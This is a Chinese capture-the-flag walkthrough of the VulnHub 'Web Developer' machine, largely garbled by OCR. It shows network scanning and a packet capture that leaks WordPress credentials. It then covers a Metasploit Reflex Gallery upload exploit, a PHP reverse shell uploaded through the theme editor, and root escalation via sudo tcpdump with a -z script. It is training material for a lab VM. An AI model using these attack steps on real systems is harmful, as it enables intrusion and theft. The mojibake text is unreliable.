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4 RCTF

CTF MR
CTF &K@ AL &
SEIG B IR A

KB B ¥ (netdiscover), 3 EIWebDeveloperft]IP ik
BHEBRENSOIFR. REHBL (NMAPHH)
M FH 00 B8 255 e ) A o
whatweb#R ] B A 0 i {3 F (1 CMS AR
wpscaniifé
Dirb 185 Mk H 5
Wireshark 7 #riZ 4 6, 2 TCPEHER
FH L —2RRE BN &
FAIZCMSHER) (FEFPlugin) i BEAT IRAX
Fohta 75 &
SSHE F k%5 %%

SIS

L% H 1

WX BAREENRSEERE, THCTFRFEN, HEMECTFRHENARTEE, wMISC. PPC. WEB%, @ik, hnizH i
1ERE ST, BEIBVISCTRELMRAE /I RS BUIERE 1. BB, WIUHTTP webfR4%. HFAEE. B/, EBEERR. &g
WRSMHX T RRER.

REiHIE: KaliLinux2. WebDeveloperfEHl ki :

ERTHR: AR
S bR
t+ 4 RCTF

CTF (Capture The Flag) HXX—MRIFIEZFIETE, TEMLE R LTI IRM R M % 2B RN RZ BBATH AR T 1 — M L7
K. CTFEIET1996FDEFCONEIRBE RS, URBZIBENEL MK EBELBEHETHEALH TR KEEZS, B
LA EMNE Z2BRATHRERR, 2013FE2RED 7T L+ EFRECTFRSE . MDEFCONEANCTFIEH K K IE
i, DEFCON CTFECN T H AT &RBm B AK LN HMCTFRESE, KUFCTFRG 1 77"

CTFREFER K


https://www.vulnhub.com/

o (1) EMEERX (Jeopardy) EMBEACTFHESIT, SHRMMETLLELERMRERZMES S, KIMEXKCTFRERS
ACMZETETEFE . (5 R FRILBERM, DRI 22 BRI B B ERR FRAE4E, @FATAELKGRE. BEE
BERIHR. WRAZESAE. Webi2&. #i9. BUE. BE. RERWEFRIA.

o (2) Kt (Attack-Defense) FEHBHHEACTFSEMHI, 23 IMATE I 4% 2 (8] EAHBEAT O AN 5, 4298 M 2% AR 55 R
FBE N F RS R, B4 B B IRSSIRIFEAT AR = 5. B C TR 38 T LASE @ id 15 70 B LL BRI 0L, &%
AWUBFIEESHMES, B—MREHEI, BARBEME R RS MR %2 238 H . ERXF TS, PMULELS
FRKIE ARMBAR, ks (BN —RAR S FFE48/ M KA E) , FIRHBEEZ AR S ThRe561F.

o (3 BAMK (M) &8 THERAEHPIEAXKICTFFS], S FPMAIES AR AT DRI — A0 0 4, R )E 8K
B o PLREAT 19 0 B IR AN XK, A LAE 7 R S . SRR SR C TR 3R H i S AR NiCTF E BRCTF 3238

CTF#& K& faj 4t

MISC (Z4&ZT)

£ Miscellaneous. 8 H¥ RHESHT. BFEGE. ARBE. FHEMT. KEBAITES, By . RITPEHERIK
HITEEH:; AHR—NMREGILHRSFTHEE: BUESTEE, HETXEEEH. FEXESHETFHOEMEMLEGEMR, HE
TE R LB .

PPC (%#Z)

£ Professionally Program Coder. fiH# AKEEFRE . MEFEELH. HENFRRS, MELES, AEARESL
HM, AENZ. LRPPCHILACMRKR, ERBARLK . ETHREIESW, HEMFEHPythonkER. XA EEHE
EFHREmERE .

CRYPTO (#E1E%)

AR Cryptography. @ HEREHMBZEREA, AFEHTANEER. IRANEBAEZHEE BOIMEREAR. XHKEEILCER
B%E. XHSEEEESFEFHELFZMHRIME R

REVERSE (¥ [q])

B KEREER. BERAE, ERFBERMRICH . REFILER. FEERICHR, HR. FESTENR LN
BHBER]. FEEESHEFNER IR WEEHHRLTHLRMEREN.

STEGA (B5)

£FRSteganography. & HHIFlagX BB E . S5, MRS EREEBEHESRIEFRR. BERLEF. T, WA
%, AR T IXERAKERRAag, BT AEE lage e X BRI iRl AR E . AR R EROERE R B, 4
RERI. WEEBHEEEESREFHNEMHRBELR, BREHENABEE.

PWN (#H)

PWN7ERBEMIBEHRRELR, AR, ECTFHETERRERBENEE, Hbw ARG HIRFEARE L. .
ECTFHLHEH, & LHESH, HEWAARSKE, HANLTHE, HrAEH RS K RE. FEERSHETF IR
AR FHREST o

WEB (web3%)

WEBR. FES KBRS, WRCTFFIERF/FWEEME, BEWKEE LKWeblgH, EWEN. XSS, XHEE. R
WHE . RAESRE. X8 ESARERAEN. MEEH, 2000 -ERNRAedE, FEEFHRMESE. HWeb@H
RENEEZHRARERERMAE . FAKS AT R LR Mweb* B FF 46 .

KRB BRAMAE

H K : REEEHLWeb Developer S f/root/flag.txt+flag.

AP AWEBIPHIEEFM (netdiscover); MZ&HH(Nmap); HEHTTP fkS; Wb B FM24(Dirb); RIEHE R
“‘cap”; 4r#T “‘cap” X, REIMINEE)E KRS HEL; WEMA BRI ; FARRKRERSHKSHL; SSHZEERR
%%%; tcpdump B KR .

KB H#5 (netdiscover), 1% F|WebDeveloperi IP it



1.¥T7 FFWebDeveloperfiikali.
FEkalifR EM: nmcli device show etho
(&IP4 GATEWAY) :

:~% nmcli device show eth®
GENERAL .DEVICE:

GENERAL.TYPE:

GENERAL . HWADDR :

GENERAL .MTU:

GENERAL .STATE:

GENERAL . CONNECTION:
GENERAL . CON-PATH: Jorg; o i onnection>
WIRED-PROPERTIES.CARRIER:

4, ADDRE 1]:

.GATEWAY:

4 .ROUTE[11]:

4 . ROUTE[2]:

4.DNS[1]:

4. DOMAIN[1]:
ADDRESS[1]:
ATEW

.ROUTE[1]:
.ROUTE
lines 1-18,

2.nmap -vsn E Wit (192.168.222.2) /24
%A host downfJip, ElAWebDeveloperff] Pk

report for 1 g 253 down]
report for 1 down ]
report for 255 down]

open port
open port
open port

Compl nnect

Completed

Compl

Nmap

Host is up (

Not shown: 999

PORT

cp open domain

Nmap scan report for
Host is up B

Host is up
Not shown:
PORT
ssh

cp open http

Read data files from: /u
Nmap done b IP addres

BAEBHRENROFBE. RFEBEHL (NMAPEH)



o KalifgfiWebDeveloperfJIP: nmap 192.168.222.135

A LB BFF R T 803 LI AN223% 1, X BN L A94E P 20 B Rhttpds 1 (M) Msshii 0 GEFEZFH)

A A B0 B2 25 15 19 B b o 3

BT BHAR EVLIRAE THTTPIRS, M FFiE T 8035 O, B LAZE kalifty Sl %5 2% Hb bk 42 v % K httpig O
(E#HiA\WebDeveloperf]IPHsht)

Example site — Just anothe

— c o @ 192 3 In O &

Kali Linux Kali Training Kali Tools « Kali Docs Kali Forums MNetHunter [ Offensive Security Exploit-DB

EXAMPLE SITE

Just another WordPress site

POSTS

OCTORBER 30, 2018
Hello world! Search... n

Welcome to WordPress. This is your first post. Edit or delete it, then

e RECENT POSTS
startwriting!

Hallo world!

RECENT COMMENTS

A ULE RX RN AR, MiZE—AHRZ - KICMS.

whatwebiE 3l H #5 P 35 4 F ) CMSH i



fEkalif i\ whatweb 10.34.80.3 /TN B R EE R
:~$ whatweb 192.168.222.135

1 / TML5, HTTPServer[
1 [19 2.135] .12 rator[WordPr 4.9.8], PoweredBy[Wor
[ o1 GHB2: W site], UncommonHeaders[ 1

ress, ], Script
, WordPress[4.9

A& W, ZM¥EEFICMS AWordPress.
wpscanljj &

WPScanfKali LinuxERik B # 1 — 2R T E,E A Ruby4 5, BE 4 3 fiWordPress W il /b ) 22 Fh 22 £ R ¥R, e Fh A 4%
WordPressZs & KRR < T4 I A E BRI .

Dirb 428 M u5 B 3

Dirb R — AL THTRBEFMWITE, & KalihRIACEL %, Xl T HEHR B Kpatator, dirsearch, DirBuster,
HAK@s) BE. R - FAMEREAFRBER (B



1.fEkalih N4 dirb http://192.168.222.135 , Z5HRWME:

DIRB .
ly The D

START_TIME: Sun
URL_ . http: . -
WORDL _FILES: T, y Jwordlists/common.txt

GENERATED WORDS:

ABLt. NO
(Use mode '-w' if you want to scan it am

dmln php
. /wp-admin/css
DIRECTORY: 2/ L .dminfimﬁ$
> DIRECTORY: : . —admin/inc

E R —Avipdata IRFERBFUHLRREHEE, ZANRETHESE:
RIHE —Acap X
Example site — Just anothe Index of /ipdata x +

&« c o @ 192.168.222.135

Kali Linux Kali Training Kali Tools = Kali Docs Kali Foru

Index of /ipdata

Name Last modified Size Description

o8 Parent Directory
E]analvze.cag 2018-10-30 09:14 2.8M

Apachef2.4.29 (Ubuntu) Server at 192.168.222.135 Port 50
Wiresharks th iZEiER, 0 TCPEIE R

mi 9 analyze.cap T 8,3 21Z% 38 5 #E it wireshark.

REEE, HiAlogin (_B_;:R':)_l RN FR oG ! FEE Rk 2k AT E A%t

M [ APPIY & UIspidy e ... S 4T
Packet list - Narrow & Wide - Case sensitive String * | |login Find Cancel

No. Time Source Destination Protocol Length Info

121 14.538688 192.168.1.176 192.168.1.222 TCP 66 80 — 49534 [FIN, ACK] 5eq=153998 Ack=974 W..

122 14.539757 192.168.1.222 192.168.1.176 TCP 66 49534 -~ 88 [FIN, ACK] Seq=974 Ack=153999 W.. __|

123 14.539796 192.168.1.178 192.168.1.222 TCP 66 80 — 49534 [ACK] Seq=153999 Ack=973 Win=3Z2.

124 18.453947 192.168.1.222 192.168.1.176 TCP 74 49552 -~ 80 [SYN] Seg=0 Win=29200 Len=@ M35..

125 18.453987 192.168.1.176 192.168.1.222 TCP 74 80 — 49552 [SYN, ACK] Seq=0 Ack=1 Win=2896..

126 18.454129 192.168.1.222 192.168.1.176 TCP 66 49552 -~ 88 [ACK] Seg=1 Ack=1 Win=29312 Len..

127 18.454239 192.168.1.222 192.168.1.176 HTTP 397 GET /wordpress/wp-admin HTTP/1.1

128 18.454284 192.168.1.176 192.168.1.222 TCP 66 80 — 49552 [ACK] Seg=1 Ack=332 Win=3e8806 L.

129 18.454604 192.168.1.176 192.168.1.222 HTTP 670 HTTP/1.1 301 Moved Permanently (text/html)

130 18.454724 192.168.1.222 192.168.1.176 TCP 66 49552 -~ 80 [ACK] Seq=332 Ack=605 Win=30464..

131 18.4592065 192.168.1.222 192.168.1.176 HTTP 398 GET /wordpress/wp-admin/ HTTP/1.1

132 18.472292 192.168.1.176 192.168.1.222 HTTP 473 HTTP/1.1 302 Found

475938 1. 1. GET /wordpress/wp-0QgHE AL
134 18 4RRAAZ 192 _16R.1.176 192 _16AR.1.222 HTTP A771 _HTTRA1 .1 200 DK ffext/html)

En = b vk me A N e a — . P . . . B . T N N



IR )5 =W a8 A WebDeveloperi] IPAl/wp-login.php, Bl R 75 W& It U2 [H]

(D & 192.16

Kali Training Kali Tools < Kali Docs Kali Forums NetHunter [ Offensive Security

Lost your password?

+ Back to Bxample site

BEE AN — NS T, FBurp sure B AR NIRIIRAZ (5 B i) H bk«

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget T Prosgy T Intruder T Repeater T Seguencer I Decoder T Comparer I Extender I Project options I User options ]

J Intercept T HTTP history T WebSockets history T Options ]

f Requestto http://192.168 222.135:80

|_ Forward J |_ Drop J Interc is on ] Action

J Raw T Params T Headers T Hex ]

POST /wp-login.php HTTP/1.1 \\\\

Host: 192.168,222,135 h

User-Agent: Mozilla/5.0 (¥11l: Linux xB88 64 rv:68.0) Gecko/20100101 Firefox/68.0
Accept: textshtml,application/xhtml+xml,applications/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip. deflate

Referer: http://192.168,222 135/wp-login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

Connection: close

Cookie: wordpress_test_cookie=WP+Cookie+check

! Upgrade-Insecure-Requests: 1

LV I Iy W B R Y U (N )

[ .
FEN VI NI ]

log=kkk&pwd=3218&wp - submit=Log+In&redirect to=%2Fwp-admin%2F&testcookie=1

W E 5 £ Wireshark ik httpid R 28 NpostiiE =R, BETCPHAIE:

Connection: keep-alive
Upgrade-Insecure-Requests: 1

log=webdeveloperé&pwd=Te5e(gk264sB5%21Y r%24%29wf%25%28DcAd&wp -
submit=Log+In&redirect_to=httphk3A%2Fk2F192.168.1.176%2Fwordpressk2Fwp-admink2F&testcookie=1HTTP/1

2 _Lound

Date: Sat, 22 Sep 2018 13:08:24 GMT

u] JLk 5 ywebdeveloper, 15 N Te5eQg%264sBS %21Yr%24 %29wf%25%28DcAd

AAE—ZR/AKNEBEANYE G

1
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Kali Linux li Training Kali Tools # Kali Docs Kali Forums NetHunter ]| Offensive Exploit-DB
i Ba te £¥ 1 v H
@ Dashboard I
WordPress 5.5.3is a ble! Please update now.
Home
Dashboard
*p
07 Media A new, modern publishing experience is coming soon. @ Dimss
Take your words, media, and layout in new directions with Gutenberg, the WordPress editer we're currently building.
B Pages
¥ Comments " .
Test the new editor today. Mot quite ready?
A Appe ce ! e Gut  5pil

I3 Plugins

- U
& To
B Settings Install the Classic Editor
1]
Learn more about Gutenberg
| €3 Dismiss
Welcome to WordPress!
le've assembled some links to get you started:
Get Started Next Steps Mare Actions
E Writeyour first blog post Manage widgets or menus
+ Add an About page B Turn comments on aroff
B view your site = Learn more about getting started
At aGlance a Quick Draft s

A 1Post B 1Page Title
F A ZCMSEER (FHA4Plugin) FiF TR
# E1: FH MeterSploitli 14 +reflex galleryifi {4 R LI . % Hreflex galleryid . FIH ZidE 4wl fEFE R R

1.4 31X ~wordpress % Zreflex gallerydfi 14 ;
M W #plugins, T #Hreflex-gallery, K Flkali®, ridiadd new,sidiupload plugin
1 1 +

2 hb
WordPress 5.5.3 is available! Please update now.
Posts
3 Media Add Plugins | Uplead Plugin
B Pages

Featured  Popular  Recommended — Favorites Keyword =

5 the functionality of WordPress. You may automatically install pl from: the WordP ress Plugin Directory or upload a plegin in zip format by clicking the button at the top
A nce
K Plugins
Classic Editor Install Now Akismet Spam Protection Mare Details
idd Mew Enabies the previous "classic” editor and Maore Details The best anti-spam protection to block
the old-style Edit Posi with L - spam comments and spam in ntact
TinyMCE, Meta Bowes, Supports all
. hat extend thi _
Users
_ By Auto
yols
ettings
B {905) Last Updated: 4 months ago {910} Last Updated: 2 days ago
a 1+ Million Active Installations " Compatible with your version of WordPress 1+ Million Active Installations " Compatible with your version of WordPress

Jetpack - WP Security, Install Now bbPress Install Now
n BECkup' SPEEd' & Growth More Details 'n bbPress is forem software for WordPress. More Details



The best WP plugin for backup, anti spam, ' -
makware scan, CON, AMP, = arch,
contact form, and inte grations with Woo,

Facebook, Instagram, Google

The Gutenberg

customizat

IR YT Y.

zﬂ%&wﬁ%ﬁﬁomgﬁﬁm%:

L hboard
WardPress 5.5.3 is available! Please update now.
A Posts
0 Media Plugins | AddNew
W Pag lugin activated.
- 1ments

ALL(3) | Active (1) | Inactive (2)

& App nce Bulk Actions = || Apply

K Plugins @ Plugin Description

Installed Plugins
= Akismet Anti-Spam  Us
Activate | Delete

Version 4.0.8 | By Auto

= 2} There is a new version of Akismet Anti-Spam available. View version 4 1.7 details or update now.
>
Hello Dally
1] gs
. Activate | Delete
¥ Re Version 17 | By Matt
(4] 2} There is a new version of Hello Dolly available. View version 1.7 2 details or update now.
ReFlex Gallery Wordpress Plugin for creating responsive image galleries. By: HahnCreative 5 roup
Deacthate Version 317 | By HahnCrea
Plugin Description
Bulk Actions - Apply

3 4 T R AE kali 8 F ms ol i I I -

o JEHi N\ msfconsole FJ FFmsf
o I k¥ A\use exploit/unixiwebapp/wp_reflexgallery file_upload
o FE=IKHIN setrhosts WebDeveloperi]IP

o FEPURHA exploit

loit

) to 1 1
1 opened (192.16
c.php

By Autor Last Updated: 1 m
5 ¥ Incompatible with
[1E64] Last Updated: 5 days ago
1+ Million Active |nstallations ¥ Incompatible with your version of WordPress
Z'w  Gutenberg Health Check &
Troubleshooting

Health Check identifies commaon

]
T
o
5
[=]

[

i B meterpreter>ij B AT LA $2 il o !

a



o AHiALinuxfr & REFR —H: meterpreters> 1s

o 5.[HEF /var/www/html 2 J& 7] LLF Elwp-config.php

t modified

rea

W D ~

wp-admin
wp-blog-header.php
Wp-comments- pan php
W onfi R . php

oolemon

o 6.#£%|—47 B wp-config.php, && BN Z: kalifii \ meterpreter > cat wp-config.php

o 7HENWKAFHA: WebDeveloperfiIP/wp-config. phpE’ﬂT?JaiUiﬂ}SﬁE}’]fﬂH}llfF

his file contains the follow nfigurat

diting wp

HoApth 5 %

JR2: b xH#Hshell

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

[E#: PHPMMGEE; LEF: bEME, URLVH(EH)iZ Ji%shellﬂ@xﬁ

Thee: ZHALSKERBTCPERR K EE (WAPRELREHEPHIMMEOS) .
ZCMSAPHPIF &, W LLF A H 23 e #ishell. {EAAUEHHILEIPHLE RIS O (TEF@IQE%) o

e HANEE, REAER—APHPIIE, % J5F|MHphp-reverse-shell. PHP # AR & B0iZ T i AR .
o BEREDH R H FRIIPHNE Xk 0 (BSCABGEE IPHbE R BSOS .
o HEBEETTARNA04 TamplatedtiX B fithemeZ & i N Twenty SixteensR J5 ri i Select.
o RJEHRphpHEHIKMIER, dfupload!

o 7EKaliFFIFANCH MW, W YEAUiIEMMPHPTIHE . MR 2] &k #shell (FH FAwww-data) » BV &5, BEEWp-
config.phpsk Bk S Rk O4. GEEERE)

HE3: FAEXHERES (File manager) ¥&iF
o RILZHM, EEW LI ¥wp-config.php


http://pentestmonkey.net/tools/web-shells/php-reverse-shell

SSHE X ik %5 %
SRR b — 3R 0V I R 1 PR P 4 R R T R R 5538

o kalivfHAT, FHERINESEE XM
o kali %1\ sudo vim /etc/ssh/ssh_config ¥J FFiZ 344
o W HTEM # StrictHostKeyChecking ask Bl StrictHostKeyChecking no
o RTFIBH
o HJafEkalifi\ ssh webdeveloper@192.168.222.135 18 GE T &3k i

o ZREE, Hi cat /root/flag.txt

er:~$ cat /root/flag.txt
rmission denied
er:~$ whoami

g.1 : Permi

;uda cat /root/flag.txt

oper:
not allowed to execute '/bin/cat /root/flag.txt' as root on webdeveloper

Iy |

BRAE, WEEEE.

. 1;‘95ﬁFJtcpdump3‘}lMJ1'£%u 74 (HtcpdumpHiZRBIBHE A E S PATHREN TS, )
BE LG0T R4

Faults Eﬂtlle; for webdeveloper on webdeveloper:
: eset, mail_badpass,
5ecure_math=fu5rfloca /sbin\:/usr/local/bin' usr/sbin\:/usr/bin\ bin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
(root) /usr/sbin/tcpdump

R ILAT LhrootB BR $1 /T tepdump iy &

sudo tcpdump -i eth® -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

webdevelopergwebdeveloper:~$% sudo tcpdump -i eth® -w /dev/null -W G z /tmp/exploit -Z root
dropped privs to root

tcpdump: listening on eth®, link-type EN1OMB (Ethernet), c: e S e 262144 bytes

Maximum file limit reached: 1

y filter
kernel
per: $ ron IJTHldtluﬂ: here 1s

Hep

BB EH L. touch /tmp/exploitl

E Ashellcode: echo 'cat /root/flag.txt' > /tmp/exploit
R F T ATAUBR :  chmod +x /tmp/exploit



WX REEERTIRS . .

1.EAFREEEHLWeb Developer X ff/rootflag.txtFflag .

2. VAR i Kali i) 4 Dirb #2585 Wk B 3% 3K Blcap X4 F1/E 4 @it Wireshark. Burp sure4-#t “cap” X, HRBEIMEEHE G &K S
Y. 3.6 FIRIEAI7EKali {3 F msfoi 2 Hi T R 3R 15 iR 2528 I K 5 2545

HIRMRE S WOERER L A SK !
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